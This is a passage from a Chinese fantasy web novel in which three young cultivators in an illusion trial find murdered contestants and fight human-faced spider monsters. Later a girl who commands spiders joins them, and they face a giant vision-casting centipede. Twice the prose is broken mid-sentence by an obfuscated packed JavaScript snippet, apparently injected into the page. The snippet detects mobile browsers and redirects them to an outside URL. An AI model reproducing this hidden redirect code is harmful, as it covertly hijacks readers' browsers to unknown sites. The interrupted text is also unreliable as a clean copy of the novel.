顾暄思忖片刻,那算命先生的面容是怎么也忆不起来了,干脆算了,挖苦道:“不记得了,搞不好还是出身你们道门的。” 李无逍重点清奇,边走路脑子里边窜出新想法,“这样么?改天我混不下去了也去混当个算命先生当当,捞点银子。” 顾暄心道李无逍这直来直去的性格,黑的说成更黑,只怕少不了几顿打。出于仁心,他便委婉提示:“哈哈,李兄去的话,捞的银子恐怕是被打的药费。” 李无逍拍着他的肩膀,示意自己记得兄弟的好心提示:“放心,我不坑生人,真混到那一天第一个去王府找你。” “……” “……” 顾暄干笑:“感谢惦记。” 越往西,如血一般的颜色更加浓厚,空气里似乎也泛起了奇怪的腥味。错落的林木毫无规律地生长着,到后面呈现出一种诡异的扭曲姿态,就像不同的人在痛苦地挥舞着手臂。 往后走,草地上印着杂乱的脚印,周围的林木刻着几十道大大小小、深浅不一的剑痕,有两棵比较细的树木竟然折断倒在地上。 陆子凌祖上是文官一脉,纵使习武多年,骨子里依旧有着家风的熏陶。他咽了口唾沫,鼻子轻轻动了动,声音带着一丝紧张,“李兄,顾兄,你们有没有闻……” 李无逍叹道,“闻到了,血腥味。” 话音刚落,三人就看见一棵三人环抱才能抱住的大树下,倚靠着两个人。走近,他们发现这两难兄难弟不是倚靠,而是倒在对方的身上,一个人颈侧开了道大口子,另一个人则是口角带血,衣衫上沾了点血,细看不是他的,而是倒在他身上的同伴的。 陆子凌在离树下那两人几米外蹲下,待看清脸庞时,他神色剧变,“这不是方兄和陈兄吗?” 陆子凌口中的方兄和陈兄,一个出身锦宫,另一个出身岭南陈家,修为在同龄人中算得上翘楚。 陆子凌带着希望,伸出手去探那两人的鼻息,顾暄看见他动作停顿了几个瞬息,复杂之色如裂痕般漫开在他的脸上。顾暄了然,心下泛起沉重的同时又深感无力。 陆子凌口中的方兄颈侧伤口比剑伤更大且不规则,离他近的一大片草地都染上了血,显然这是刀伤。陈兄身上虽然有几道伤口,衣袍也是破破烂烂的,但是这些伤口都算不上致命伤。 陆子凌的手掌轻轻按着陈兄的胸膛,片刻,他才道:“掌伤,被人震碎了心脉。” 刀伤和掌伤,这意味着什么不言而喻。大蜘蛛和大蛇可不会使刀剑。 李无逍走出十来米,忽然道:“你们看,这儿还有两个人。” 陆子凌起身,往那边走去。顾暄转过身,往那个方向走了几步。他还是有些犯怵,所以靠得没那两个人近。 一个人仰面躺在地上,另一个人则是背面躺在地上,相同的地方是两个人都缺胳膊少腿:一个人少了胳膊,另一个人少了条腿。 李无逍绕着这两具尸体走了几圈,眉头紧蹙,道:“这不像是被切下来或砍下来的,更像是……” 陆子凌接道:“…被活生生扯下来的。” 顾暄打了个寒颤,忽然感觉有水滴滴在他的脖子上。他伸手往脖子上抹了一把,奇道:“咦,怎么下雨了……” 声音停住了。 他的手掌上是一抹刺目的、鲜艳的红色。 顾暄下意识抬头看,和一双眼睛对视上,那是沈昧的眼睛。只是那双眼睛呆滞无神,瞳孔涣散,毫无幻境外的嚣张跋扈,显然这人已经死去多时。 他的脸上划了一道大口子,身上乱七八糟的伤口也往外渗着血,再加上他的红衣和这“倒挂咸鱼”的姿势,像一块挂着的巨型红肉。血慢慢往下滴,顾暄刚好不走运地走到了那个幸运的位置。 “哎呀我去。” 身体的本能让他登时闪开到几米外,待真正反应过来发生了什么时,一排排的鸡皮疙瘩排着队涌上来,他禁不住打了个哆嗦。顾暄急匆匆用袖子擦净脖子上滴到的血,心中大呼晦气。 刚才的死对头现在变成了树上的尸体,沈昧跟他真是气场不合,连死了都要吓他一跳。 其余两人抬头一看,李无逍“哎哟”一声,陆子凌连忙转头,连声道阿弥陀佛。 半盏茶的时间后,三人各自站在一个方向,中心是那倒霉的沈昧悬挂的地方。血像珠子一样往下坠,没入土壤,很快消失不见。顾暄意识到那片被血浸过的土壤上长的草,格外丰润。 顾暄移开视线,心道:这是什么鬼地方。 犯怵归犯怵,死者为大。几人一合计,商量着把这位不知道挂了多久的沈昧放下来。 看着还在念阿弥陀佛的陆子凌和早就移开视线的顾暄,李无逍额上的青筋跳了跳,偏偏这两人还不约而同地转过身来,双手合十虔诚道:“拜托李兄了。” 李无逍没辙,拔出他挂在腰间的桃木剑,没好气道:“都让开点。” 不用他开口,两个人早已退避三舍了。 几道剑风闪过,一个人影重重地砸下来,扬起一阵不小的尘埃。这人身上还缠着被斩断的藤曼,只是那藤曼跟成年人的手臂一样粗。 李无逍刚才已经出手,陆子凌也探察过那两位死都靠在一起的兄台的脉搏,于是这任务交给他了。 顾暄忍着不适伸手探去,摸到那人的脉搏时神色一凝,他低头,目光掠过大大小小的伤痕,绝大部分看着是剑伤,胸前也有一处剑伤,但是这人却是死于胸腔断裂带来的冲击。是被人一掌毙命的吗? 不对,一掌毙命那一瞬心脉就像一个皮筋绷到极致断裂。这个人的心脉还算完整,更像是被重物挤压而死的。 他把想法说出来,陆子凌蹲下来探了探那人的脉搏,李无逍则是环视周围的环境。什么重物能把一个成年人砸死?树木?石头? 李无逍看了看那两棵折断的树木,不算特别壮,不至于把一个有习武基础的人砸断胸腔而死,只要他当时还有意识。周围也没有什么特别大的石头,甚至连石头都很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278656|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少。 李无逍大胆猜测:“我猜,他要么是昏过去被树木砸死的,要么是这几个人叠上去把他压死的。” 后一种猜测太天马行空,顾暄忍不住挖苦道:“…我还说他是被挤死的呢。” 李无逍边走边验证自己的说法,花了点力气将两根倒地的树木翻了一遍,看了看,语气有点变化,“没有血,看来他不是被树砸死的。” 几个人交换眼神,沉默如疫病一样在几人中传播。他们倒是宁愿这人是被树砸死的。 顾暄开口道:“不管那个了,问题是为什么有人把这个人绑成这样吊上去?这样做是为了什么?”他边说边指了指地上的沈昧。 陆子凌:“警告?还是让我们知难而退?”此种情况下,他早早拔出了剑,说话时还抬头看了看天上,看来顾暄刚才的阴影对他的影响也不小。 李无逍看了看天色,天色渐晚,再过半个时辰估计就要天黑了。他们走了一天丝毫没有收获,除了被大蛇追杀和遇到一堆奇怪的死人,现下最重要的是在天黑前找到栖身的地方。 李无逍飞快道:“我猜,树下那两位是被缺斤少两那两位杀的,包括吊着的这位也是,没想到螳螂捕蝉黄雀在后,他们费尽心思干掉别人,反而被另外的人杀了。” 刚开始两人还没听明白“缺斤少两”那两位是谁,待琢磨过来才发现这话太地狱了,禁不住细想。 某些线索被模模糊糊地串联起来,顾暄的目光落在地上那两具不全的尸体上,忽而福至心灵:“等等,缺斤少两那两人,再加上挂着的这位,会不会不是人干的……” 他想起自己之前遇到的大蜘蛛,和李无逍口中巨大的海蛇。不知撕下人胳膊和腿的,又是什么东西? “不是人”这句话一出,陆子凌瞪大了眼睛,李无逍的神色不太好看,他打断顾暄的话:“事到如今,不管是不是人干的了,我们先在天黑前找个地方休息。” 话不多说,几人即刻赶路,再沿路折返已然不太可能,时间不允许是最大的阻力,还有就是那条路上毫无遮蔽的地方,在那儿休息基本上是等着做活靶子。除了往前,他们想不出第二个办法。 天色暗下来,李无逍摸出符纸,刚要点燃就被一左一右的人拉住了袖子,他反应过来又将符纸塞回怀中。此刻点燃符纸,真的有东西跟来,无论是不是人,都很容易被发现。 闷头赶路小半个时辰,顾暄眼前只能大致看清离他不远的李无逍和陆子凌,那些树木看不清颜色,只能看见它们以奇异的姿态扭曲着伸向天空,就好像形成了一个牢笼,想抓捕天上的月亮。 为了避免吸引别的东西,几人的脚步刻意放轻。走到后面,风声渐小,脚步声便清晰起来。顾暄听了听,嘴唇几不可察地动了动:“你们有没有听到别的声音?” 李无逍嘴唇微微张着,没看见嘴唇怎么动,声音倒是清清楚楚地传到另外两个人的耳中:“有东西在上面,别抬头。” 猜想得到证实,顾暄头皮一阵发麻,顿时不敢多说了,老实赶路。 他们埋头赶路,临近天黑前发现一处洞穴,头顶上那阵声音也越来越大。忽而感觉到身上有一种被凝视的恐惧感,顾暄本能地一闪,李无逍揪着慢半拍的陆子凌的衣领闪到另一边,一阵重物砸到地上的声音沉闷地响起。落下来的东西有三个人那么高,如蜘蛛一样的腿在不安地躁动着。 顾暄只看了一眼便忍不住倒退了几步,感觉比刚才的大蜘蛛恶心多了。陆子凌看清那东西的身形后失声道:“这什么东西?” 连李无逍也松开陆子凌的衣领,喃喃道:“我天,这还是人吗?” 原因无他,掉下来的这个有三个人那么高的东西,长着蜘蛛的身子和腿,上半身却是人的模样,人手人脸,只是人手大多了。人脸被巴掌那么大的眼睛占据了,鼻子小得不值一提,跟豆子似的。那张嘴里的牙又细又尖,一张嘴全露出来了,看得让人一阵胆寒。 那怪物落在地上后,张着嘴发出几声奇怪的、类似于咀嚼的声音,那双大得吓人的竖长眼睛冒着绿光,幽幽地盯着眼前这几人。 李无逍燃起火符,火光映出三张脸色铁青的年轻面孔,他的笑声跟嗓子里强硬挤出来的没什么两样,“我去,云庄真不是东西啊。” 幻境外,二十四枚转轮镜实时放着幻境内的景象,每一个人的身影都或多或少在转轮镜上闪过。 真不是东西的云庄的长老弟子坐在台上看着镜内的情景,柳无喧用折扇遮住眼睛,嫌弃道:“好丑的东西,多看一眼都污染了本公子的美眸。师父这是什么惨绝人寰的审美?” 前面一句云谨还想跟着附和,“美眸”一词一出,他就不说话了,借低头喝茶的功夫避开转轮镜上那丑得瘆人的东西。 25. 三面(三) 转轮镜内一片狼藉。三人和那似人非人的东西打得不可开交,数道凌厉的剑风闪过,林子里的树木倒了一片,其中连着倒下来的还有别的东西。 顾暄抽空扫了一眼,本就铁青的脸色更加难看,那竟然是被藤曼缠着的几具尸体,有男有女,都是本轮比赛的人。想必是这怪物杀了他们,用这些人做诱饵,吸引这些人的同伴,或是…… 其他以人为食的东西。 一阵摩擦声在这刀光剑影的撞击声中脱颖而出,他们来的那个方向的尽头,爬来几只比那怪物略小的怪物,都是蜘蛛腿,人脸人手,绿眼睛像燃在空中的鬼火一眼让人不寒而栗。 顾暄莫名想到《愚公移山》里那句“子子孙孙无穷匮也”,于是他说出来了。本就害怕虫子的陆子凌崩溃道:“子子孙孙也不应该是这种东西的吧。” 李无逍外袍被那怪物划开了一大道口子,他回手一道火符,顺手擦了擦额头上的汗,道:“无奖赌局,朋友们,你们觉得它们是来帮我们的吗?还是来把我们像咸鱼一样吊起来?” 那些“不速之客”目测也有七八只,此时蠢蠢欲动地盯着顾暄三人,很快呈包围之势把他们围住。原来那只大怪物不知是他们的头头还是仇人,离它都有点距离。 那半人不鬼的东西被三个人联手削去了一只手和一只腿,一只眼睛也被李无逍的火符打中,原本形状完美的一团绿变得不那么规则。 顾暄心想李无逍真是个赌鬼,这种时候还想着赌局,只是这一次的赌注很大了,关乎三个人的小命。他接话道:“虽然我不想赌。但佛祖保佑,道门祖师保佑,孔圣人保佑,千万要是第一种啊。” 这儒释道三家都求保佑方式两人还是第一次听见,李无逍没忍住破功了。 笑完后看着慢慢逼近的怪物,李无逍率先甩出几道符咒,火光乍起,爆炸声接连,这仿佛是一声信号,怪物们原本还在观察着,这下直接冲了上来。 这些怪物的皮很厚,剑砍在上面时还能听到回声。顾暄虽然是一重境中境,可终归是境界不稳,再加上之前就挂了彩,此时在一群怪物的围攻下渐渐不支。 这些怪物要找到命门才方便杀死,前面三只最先攻击的被杀红了眼的几人杀死了,有的是砍下头颅,还有的是贯穿心脏。杀死两三只不是问题,多了就应付不过来了。 陆子凌头发跟乱草一样,衣袍早就不复整洁了。李无逍衣摆上沾着那怪物喷出来的暗紫色的血,整个人看起来阴郁不少。顾暄手上一截袖子不见了,露出手臂的那部分有一道很深的伤口,正往外渗着血。 血味刺激了这些怪物,剩余六只蛛腿人身的怪物的目光转向顾暄,像看着砧板上一块肉。李无逍神情紧绷,低声道:“顾暄,你过来点。” 顾暄眯了眯眼,估算了一下两边的局势,摇摇头。 李无逍吃了一惊,慌忙中差点被分成两截,他喊道:“顾暄!” 顾暄奋力替陆子凌拦了那怪物挥过来的一下子,将陆子凌推向怪物的包围外,道:“我撑不了多久的,你们走。” 因为这一下子,顾暄被冲击力甩到树上,后背被树纹硌得生疼,他脸着地地摔在地上,鼻梁被压得让他一度以为扁下去了,热汗和冷汗交织着渗在他的额头上,耳边响起那些怪物爬动的声音,估计再过一会儿,他不是被分尸就是被做成诱饵了。 李无逍和陆子凌喊什么他已经听不见了,他甚至都看不见。没了李无逍的火符,再加上天本就黑,还有他背面摔下来的姿势,他的视觉和被剥夺了一样。 他想:这样也挺好的,至少不用看那些丑东西的嘴脸。自己半年之内开了脉还有一重境下境的实力,已经是很多人无法企及的高度了,李无逍和陆子凌比他年长几岁,更需要进入内院的机会。 但他又有些发愁:一想到这些丑东西可能用这些嘴脸啃下他的手脚,他就一阵哆嗦。 他看不到和别人都看不到的是,那只快和草地碰在一起的眼睛,慢慢变成紫色,然后加深,最后是接近于黑色的暗紫。另一只眼睛,如一滴血滴了进去,血色占据了原本的黑色。 镜外,柳无暄早把扇子拿了下来,目不转睛地盯着镜中的景象。他默不作声,心下却忍不住叹了口气。 两抹颜色越发厚重。七八条不安的蛛腿躁动着,在一只蛛腿要把顾暄插起来做成串串时,一头青牛狠狠撞开了那只不安分的怪物。 原是李无逍咬破手指画出来的青牛,他内力不够,只能靠这种以血画符的方式。画完符后,他脸上的血色被抽干了一半,生生咳出了一口血。 那青牛甚至还带着点血光,在撞上那头畜生后忽然炸开,漫天金光洒下,那畜生死得血肉模糊,连身旁靠得近的两只怪物也受到波及,一部分身体被炸掉了。 那两怪物仰着头痛苦嚎叫,声音尖而凄厉,跟两片巨型砂纸摩擦在一起发出来的声音无区别。其他三只怪物被这变故吓了一跳,陆子凌趁这空隙把地上的顾暄一把拉起来,背着他一溜烟跑了出去。 背上的顾暄还有点不清醒:“…做什么?” 陆子凌没察觉到他语气不对,拿出平生逃命的功夫飞快地跑,左拐右拐,顾暄被他颠得七上八下。 他可能是觉得今日难逃死劫了,逃命也不妨碍他说话了,早不见刚才的细声细气:“逃命啊,还能是做什么?唉,大不了死一块吧,不求同年同月同日生。” 李无逍负责断后。三个人择了个方向逃,原是他们选定的那个方向。那阵窸窸窣窣的声音在安静了一阵子后又响起来了,显然是那群东西还不死心。 陆子凌和李无逍的轻功都是要消耗内力的,两人在刚才的打斗中消耗了不少内力,此时逃命的内力便不够了,于是速度也就慢了下来。 窸窣声越来越近,越来越急切,最后差不多是贴着他们的耳朵。 顾暄:“放我下来吧。” 陆子凌的心脏快要跳出体外了,乍一听他这么说又觉得一口气没提上来,这个从一认识便说话细声细气的人怒道:“想都别想,把你放下去送死吗?” 陆子凌听到顾暄“嘶”了一声,似是不认同,然后他在陆子凌肩上轻轻拍了一掌,整个人腾空而起。雪白的剑光在黑夜中一闪而过,陆子凌只能感觉到自己背上一轻,随后一阵浓郁的血腥味漫开,伴随着血腥味而来的还有那怪物痛苦的嚎叫声。 陆子凌觉察到顾暄不见了,停下来喊道:“顾暄——” 李无逍立住,知道那阵浓郁的血腥味来自那些怪物而非人,他不知道顾暄是怎么做到的,又或者说他的心里更倾向于有其他人出手了。 激烈的撞击声响起,让两人一度以为置身于刀光剑影的战场中。被砍下的蛛腿,越发厚重的血腥味,让人不寒而栗的怪叫声和惨叫声,以及黑得看不见五指的环境。 觉察到空气中的内力波动,李无逍一愣,明白顾暄是怎么做到瞬间“满血复活”的了。他竟然是强行升境。闻着这快把人淹没的血腥气,顾暄不知道升了多少级。 这个想法一出他的冷汗就齐齐渗下来了,自古以来强行升境的大多数没有好果子吃,不是回光返照后力竭而亡,就是经脉破碎被活活痛死。问题是升境也需要方法,他不过十五来岁,谁教他的? 李无逍缓过那口气后,咬咬牙摸出最后一沓符纸,打算点个火看清状况再开打。陆子凌知道他的意图,示意他留点力,接着他利用剑和树木的摩擦打算生一团火,没想到火苗刚燃起来时就被一块飞来的石头给打灭了。 李无逍侧耳听了听,听到一阵不属于人身蛛腿怪物的脚步声,但听着也不像人声。他握着剑柄的那只手的手心渗出了汗,要是来的是那群怪物的同伴,他们今日必然要葬身此处。 一阵较为粗粝的嘶声响起,混着那群怪物的叫声,怎么听起来是两边打起来了呢?莫非真的是这群怪物的天敌来了?他跟陆子凌体力不支,不敢在没光的情况下贸然加入战斗。 等厮杀声渐小,陆子凌的剑和树身摩擦燃起一簇火,火光亮起,两人终于看清了眼前的场景: 顾暄背对着他们,原本天青色的衣衫一半沾满了暗紫色的血液,其中有几块赤红的血迹是自己的。血珠一点点从剑锋上往下落,滴在地上。 前面,脱下黑纱的秀格面无表情地握着匕首,匕首上还映着寒光,只是握着匕首的手有些不稳。 两人的身旁,躺着一地怪物的尸体,甚至还有几只顾暄口中的“大蜘蛛”的尸体,它们跟人身蛛腿的蜘蛛的区别是它们没有人的上半身。秀格的背后,站着一只硕大的蜘蛛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278657|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正冷冷地盯着他们。 两人不约而同吸了一口凉气,有些没搞明白这状况:难道秀格救了他们? 秀格自然不会回答这问题,她只是盯着顾暄,神情有些严肃。 李无逍受不了这沉默,更怕秀格顺手把几人都杀了。他一瘸一瘸地走上来,未语先笑:“好巧啊,秀格姑娘,是你救了我们吗?” 罕见的是,秀格摇摇头,用匕首指了指顾暄。 李无逍搭着顾暄的肩膀,忽然记起来他刚才可能是强行升境了,忙直起身道:“对了,你现在怎么样?你小子刚才是不是强行升境了?谁教你这个的?” 顾暄收剑,淡淡道:“没事,没升境,主要是秀格姑娘出力,我只不过起了个辅助作用。” 李无逍瞧着他的脸色,不差,没有那种形容枯槁的模样,心稍微放了放,只是他一只眼睛的颜色有点深,接近紫黑色;另一只眼睛估计是杀红了眼,血丝未褪,一起放在那张不笑的脸上有点诡异。 被提到的秀格看了他一眼,没说话。 李无逍和陆子凌看了看秀格身后亦步亦趋的大蜘蛛,忽然想起来秀格来自南疆,对驱虫一术尤为精通,只是没想到精通到这个地步——连幻境里的怪虫也能驱使。 几人找到刚才那洞穴,洞穴外躺着几块骨头。秉持着求知精神,李无逍蹲下身想查看一番,发现是人骨。 “……” 李无逍用树枝拨了拨地上的骨头,“这个是左臂的骨头,这块是腿骨,还有……” 数完地上的骨头,连举着火把的陆子凌的神色都变了,这地上的骨头起码是来自三个不同的人的,是被怪物吃的,还是大蜘蛛? 陆子凌下意识去看秀格,秀格觉察到他的目光,把擦好的匕首收入鞘中,漠然道:“这三个人要把我推出去做诱饵。” 于是他们被秀格驱使大蜘蛛反杀了,甚至成为蜘蛛的食物。也不一定,毕竟人已经死了,也可能是秀格从会驱使蜘蛛那一刻开始就杀了他们。 陆子凌有些不忍直视,李无逍没说话,带头简单收拾好洞穴,生了把火,招呼几人靠坐在火堆周围。 李无逍把沾着血的外袍脱了下来,后背靠在洞穴壁上,强打精神道:“你们明天有什么想法吗?是沿着这条路继续走还是?” 还有更多的疑问他没有问出来,比如这里是什么地方,比如怎么样才算取胜。 秀格没有接话,顾暄从刚才那会便寡言得很,此时半阖着眼睛,不知道是不是睡着了。 陆子凌想了想,道:“刚才看见两种蜘蛛,我想起来以前读过的一本不入流的小说,里面讲的是……” 今有密林,瘴疠丛生,多异虫,其形巨硕,往往逾人。林中蛛,专噬人肉,后生异变,衍为人身蛛腿之属,八足如刃。二类相争,互为饵食,遇则搏杀,声震林樾。 林深西处有千年蜈蚣,额生人面,其形若龙,其尾若牛,盘踞幽壑。世人皆云其心窍内藏秘藏,得之可得永生。 李无逍听完点评道:“难怪不入流。话说这幻境的制作者是不是看过这本小说,然后想出则么个玩意儿?” 陆子凌:“不知道,真按照书中的走势,我们下一步应该是去找大蜈蚣。” 李无逍来了兴致:“这本书叫什么名字?我回去找来看看。” 陆子凌想了想:“好像叫《我当天下第一的那些年》。” “……” 就两个人商讨也商讨不到哪里去,再加上顾暄的眼睛都快要闭上了,他们干脆闭嘴了,定好上半夜与下半夜轮流换人来守。这时候顾暄却说他来守上半夜,于是李无逍和陆子凌便先靠着休息了。 虽说是守夜,顾暄的眼睛还是半阖着,不知道有没有睡着。等那两人的呼吸声渐渐绵长,顾暄掀起眼皮子,看见秀格隔着火光盯着他看。 见他把目光转过来,火光中,那点暗紫色一闪一闪的,像一簇燃烧着的紫火。秀格沉默半晌,嘴唇动了动,无声地吐出两个字。 巫、骨。 顾暄竖起食指放在唇边。 李无逍起来时,其余几人还在睡觉,他侧头看了看外面的光景,已经天亮了,顾暄没叫他和陆子凌起来守夜。 “因为你睡得跟死猪一样。”顾暄醒来后如是说。 26. 三面(四) 过了一天没喝水也没吃饭,几人竟也觉得不饿,估计是幻境把人的感受饥饿和渴的能力给剥夺了,留下嗅觉、触觉、痛觉等。 还有一点就是,经过了昨天那些事,给几人一千个胆子也不敢喝这里的水。食物之类的,除了长腿蜘蛛和半人半蛛的玩意儿,有个毛给他们吃。 他们决定继续往西走,一方面是再折返耗时耗力,另一方面是受到昨晚陆子凌说那故事的影响。 “林深西处有千年蜈蚣,额生人面,其形若龙,其尾若牛,盘踞幽壑。世人皆云其心窍内藏秘藏,得之可得永生。” 秀格脚尖一点,纤细玲珑的身影一跃,落在那大蜘蛛的背上。她看着底下瞪大眼睛的李无逍和陆子凌,言简意赅:“上来。” 两人还在犹豫时,顾暄身影一掠,半个瞬息后盘坐在秀格身后。见此,两个人也不磨蹭了,纷纷跳到大蜘蛛的背上。 秀格从颈间摸出一支短笛,那只短笛被一条黑绳穿过,挂在她的脖子上。她控制着语速和声音高低吹了几声,似乎是命令蜘蛛往前走,大蜘蛛便爬起来了。 李无逍刻意忽略屁股下面那层毛茸茸的东西,强硬安慰自己这和坐草地差不多。他一紧张就话多:“哈哈,没想到秀姑娘御虫如此有方,李某佩服。” 秀格没理他,只是说:“坐稳。” 李无逍还没来得及细细咀嚼这话是什么意思,忽而觉得自身腾空了起来,“诶诶”了两声,慌忙中抓住了一个人的手。原是这蜘蛛爬到树上了,然后一跳一跳地赶路。 陆子凌紧紧抓着蜘蛛的背,眼睛紧闭着,嘴里只剩“阿弥陀佛”了。崇儒的文官家庭竟然养出个遇事阿弥陀佛的公子,真是怪哉。 待稍稍反应过来,李无逍才发觉他抓的不是顾暄的手,也不是陆子凌的手。那只手素白而带着点凉,手上的青筋一用力就能看见,看见青筋在她的手上就像看见一条青色的河流在白茫茫的大地上流淌。 那是秀格的手。 李无逍觉着脸热,明明坐着蜘蛛赶路迎面而来的有源源不断的凉风。他讪讪地松开了那只手,道:“不好意思。” 此后一个时辰,连四个人中话最多的李无逍都闭嘴了,气氛就更沉默了,只能听见蜘蛛赶路的声音和偶尔飞过的鸟鸣声。 越往西,树林越密,落在林间的阳光也越少。蜘蛛到了某棵大树下便不肯走了,任凭秀格怎么吹笛子都没用。 秀格率先翻身下地,将短笛收好,道:“它在害怕,林子里有让它恐惧的东西。” 秀格不轻易说话,一说话则是“语不惊人死不休”,如平地起惊雷,将几个人炸了个响。 她无所谓其他人怎么想,载他们一程只是顺路,他们到了要不要继续往前走就不关她的事了。他们不走,她自己也是要走下去的。所以她迈着步子往树林深处走去。 没走几步,一阵轻快的脚步声在她身后响起,李无逍的声音从后面移到和她并肩的地方,“秀姑娘走那么快做什么?等等我们。” 秀格没吱声。李无逍继续建议:“要不秀姑娘走到我们身后,这样安全一些?” 这回秀格终于正眼看了他一下,然后把目光转到刚才念了一路阿弥陀佛的陆子凌和一脸困倦的顾暄上,嗤笑一声,用意明显。 顾暄终于有所动作了,他的手搭着李无逍的肩膀,往外一送,原本和秀格并肩走的人变成了和陆子凌并肩走,他自己则和秀格并肩走。 “……” 林中渐渐起了迷雾,但还是能看清路。几人靠得更近,差不多是呈正方形在前进。 往前,路边倒着两具尸体,七零八落,死相奇惨。算上这两个人,十六个人总算齐了。一人死于剑伤,最前边的那个人死于自刎,恐怕是看见了什么不得了的场面受不住才自杀的。 李无逍腹诽道:“这关纯折磨人,云庄简直是有病得很。” 重重迷雾的尽头矗立着一尊巨物。待走近,他们发现这尊巨物比他们见到的所有蜘蛛都要大,高两丈,一动不动。 更近了,几人才发现这果真是一尊巨型蜈蚣,密密麻麻的脚瘆人得很,两条长须垂落在两只大眼睛旁,那双黑沉沉的眼睛像两潭黑水。总之几人没看出它和龙有啥亲戚关系。 前面两人停住脚步,后面的人也跟着停下,不约而同拔出剑,秀格则是拿出两把手臂那么长的短刀。 几人生怕这蜈蚣突然暴起吞了他们,于是后退几尺,那蜈蚣始终一动不动。 李无逍奇道:“这莫不是死的?” 蜈蚣自然不会回答他。 为了验证,李无逍找了块石子,在手心里掂了掂重量才甩出去。“咚”一声响起,那块石头落在地上,蜈蚣依旧是原来那副样子,连眼睛都没有眨。 李无逍打量着这蜈蚣:“不对啊,它是不是石化……” 李无逍话还没说完,他的声音就慢了下来、低了下来,最后连那句话也没说完,保持着嘴唇微张的状态。其余三人也是一动不动,保持着仰视蜈蚣的神态。 片刻后,那蜈蚣终于动了动,密密麻麻的脚在空中舞动起来,人脸上那双硕大的眼睛转了几圈,最后目光贪婪地落在眼前这四个人上。 看到那双黑眼睛始,顾暄能感受到时间像灰色的河流一样在他身边慢了下来,他一伸手就能摸到“水流”。凉凉的,仿佛那不是时间而是真的水流。 时间里有什么? 血与火,眼泪和哭声,金革之声不绝,绝望的嚎叫声和嘶哑的不成调子的哭声交织着。最后的一幕的世界是跌跌撞撞的,好像有人抱着他在逃命。 他闭眼,听到很多人在说话。 “从日暄,有温暖的意思,他的名字就叫暄吧。” “太阳和日光么……” “你出过东临城吗?” “这孩子养到…岁,你把他送到……” “这双眼睛看着真不详。” “东临……” …… 谁在说话? 他睁眼,看见有人在杀人。一个个倒下的先是不熟悉的人——他们穿着奇异的衣服,如同狂风过境下的柔草般在成群的怪物前倒下;或是掉进大地的裂缝。 然后是熟悉的人。 被杀的是王爷,是哥哥顾映,是谢予,是柳无喧,是云谨,是靳公子,是李无逍,是那些他在意的人。 火光中,那个杀人的人转过身来,他的剑还往下淌着血。 顾暄看清了他的脸,那原来是自己的脸。 一阵淡淡的血腥味漫开,顾暄的指甲扎破血肉,痛觉一下子把他拉出了幻境,现实中是大蜈蚣那双映着寒光的眼睛。 他在那双眼睛里看清了自己的倒影,他眼中的颜色几度变幻,最后定在冰冷的暗紫色和鲜血一般夺目的红色上。 顾暄没有犹豫,雪落以雷霆之势飞了出去,没入那只眼睛,这潭黑水如同一个平静的湖面扔下一颗巨雷,眼睛里流出黑色的血。它剧烈地扭动起来,叫声尖锐,声震长野。 顾暄给了每个人重重一巴掌,轮到秀格时有所收敛,只是推了一把她的肩膀。秀格的警惕比一般人高,这一推足以让她从幻境中脱离出来。 秀格倒坐在地上,难得慢了半拍。 李无逍和陆子凌如梦初醒,看着眼前扭动的蜈蚣,一摸脸感觉到自己脸上热热的,反应过来跟蜈蚣那双眼睛对视久了会产生幻觉。 李无逍肿着半张脸提剑后退几步,忍不住道:“顾兄,下次能否温柔点?你这样很难不让我认为你在对我公报私仇。” “顾兄”没来得及理他,往地上一滚,避开了蜈蚣尾巴那一扫。四人在它面前犹如四个婴儿和一个八尺大汉,它往地上一震就足以让地面抖一抖,那两条长须不安地晃动着,陆子凌只看了一会就扭头要作势干呕了。 雪落没入它的一只眼睛,反而激起了它的血性,看它的样子只想把这四个人弄死——原本等着这四人陷在幻境里让他们自相残杀或是自己了结生命,没想到反而出其不意被一柄剑戳伤眼睛,任谁都恼怒。 它的手不够长,无法取下雪落,于是把怒气怨气发泄到这四人身上。不知这畜生的皮肉是什么做的,剑风刀风甩在它的壳子上发出叮叮当当的响声,最多添点划痕。 陆子凌最先顶不住,他被蜈蚣尾巴抽中,整个人如断线风筝般撞在树上,生死不知。顾暄捡起他的剑,虽不趁手,好歹比没得用好。 这怪物通人性,挑着体力不支的人打,陆子凌之后便是秀格了,秀格来不及闪开便被这怪物抓住了,卷在空中。 李无逍看见秀格的脸涨红了,匕首脱力坠在地上,他救人心切,提着桃木剑要砍过去。 蜈蚣一排手脚不约而同向外挥去,将赶上来救人的李无逍掀飞了,连着那柄桃木剑也折断了。顾暄扶了他一把,李无逍抓着他的袖子剧烈咳嗽,“咳咳…秀格……” 顾暄:“我知道。” 李无逍觉着他手上抓着的那截袖子不见了,他的鼻腔里全是血,呼吸一口全是血的味道。他茫然地抬起头,只能模糊地看见一个越来越小的身影凌空而起。下一秒,一声耀眼的白光亮起,好像很多东西落了下来,重影里看见像很多人掉下,问题是这里加起来都没有那么多人。 顾暄将秀格错位的骨头正好,她咳得跟李无逍不相上下,他把她放远了点,示意李无逍麻溜地滚过去。 甫一对上那双眼睛,李无逍脱口而出:“你的眼睛…怎么了?” 